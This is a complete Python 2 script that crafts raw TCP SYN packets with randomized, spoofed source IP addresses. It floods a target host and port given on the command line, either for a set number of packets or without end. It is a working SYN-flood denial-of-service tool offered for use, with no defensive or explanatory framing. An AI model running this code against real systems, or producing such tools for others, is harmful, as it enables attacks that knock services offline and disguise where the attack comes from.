import socket, sys, random
from struct import *

def checksum(msg):
    s = 0

    for i in range(0, len(msg), 2):
        w = ord(msg[i]) + (ord(msg[i+1]) << 8 )
        s = s + w

    s = (s>>16) + (s & 0xffff);
    s = s + (s >> 16);

    s = ~s & 0xffff

    return s
def rawsocket(source_ip, dest_ip, source_port, dest_port, message):
    ip_ihl = 5
    ip_ver = 4
    ip_tos = 0
    ip_tot_len = 0
    ip_id = 54321
    ip_frag_off = 0
    ip_ttl = 255
    ip_proto = socket.IPPROTO_TCP
    ip_check = 0
    ip_saddr = socket.inet_aton ( source_ip )
    ip_daddr = socket.inet_aton ( dest_ip )

    ip_ihl_ver = (ip_ver << 4) + ip_ihl

    ip_header = pack('!BBHHHBBH4s4s' , ip_ihl_ver, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr)

    tcp_source = int(source_port)
    tcp_dest = int(dest_port)
    tcp_seq = 454
    tcp_ack_seq = 0
    tcp_doff = 5

    tcp_fin = 0
    tcp_syn = 1
    tcp_rst = 0
    tcp_psh = 0
    tcp_ack = 0
    tcp_urg = 0
    tcp_window = socket.htons(5840)
    tcp_check = 0
    tcp_urg_ptr = 0

    tcp_offset_res = (tcp_doff << 4) + 0
    tcp_flags = tcp_fin + (tcp_syn << 1) + (tcp_rst << 2) + (tcp_psh <<3) + (tcp_ack << 4) + (tcp_urg << 5)

    tcp_header = pack('!HHLLBBHHH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags,  tcp_window, tcp_check, tcp_urg_ptr)

    user_data = str(message)

    source_address = socket.inet_aton( source_ip )
    dest_address = socket.inet_aton(dest_ip)
    placeholder = 0
    protocol = socket.IPPROTO_TCP
    tcp_length = len(tcp_header) + len(user_data)

    psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
    psh = psh + tcp_header + user_data;

    tcp_check = checksum(psh)

    tcp_header = pack('!HHLLBBH' , tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags,  tcp_window) + pack('H' , tcp_check) + pack('!H' , tcp_urg_ptr)

    packet = ip_header + tcp_header + user_data
    return packet

if len(sys.argv) == 4:

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    except socket.error , msg:
        print 'Socket could not be created. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
        sys.exit()

    if int(sys.argv[3]) == 0:
        count = -99999999999999999999999999999
    else :
        count = 1
    while (count <= int(sys.argv[3])):
        source_ip =  str(random.randint(1,255)) + '.' + str(random.randint(1,255)) + '.'+ str(random.randint(1,255)) + '.' + str(random.randint(1,255))
        dest_ip = socket.gethostbyname(sys.argv[1])
        port = sys.argv[2]
        packet = rawsocket(source_ip, dest_ip, port, port, "message :p")

        s.sendto(packet, (dest_ip , 0 ))
        print "Send to " + dest_ip + " from " + source_ip
        count = count + 1
else:
    print "usage : " + sys.argv[0] + " {DestinationIP or domain} {port} {number of packet (0 if infinite)}"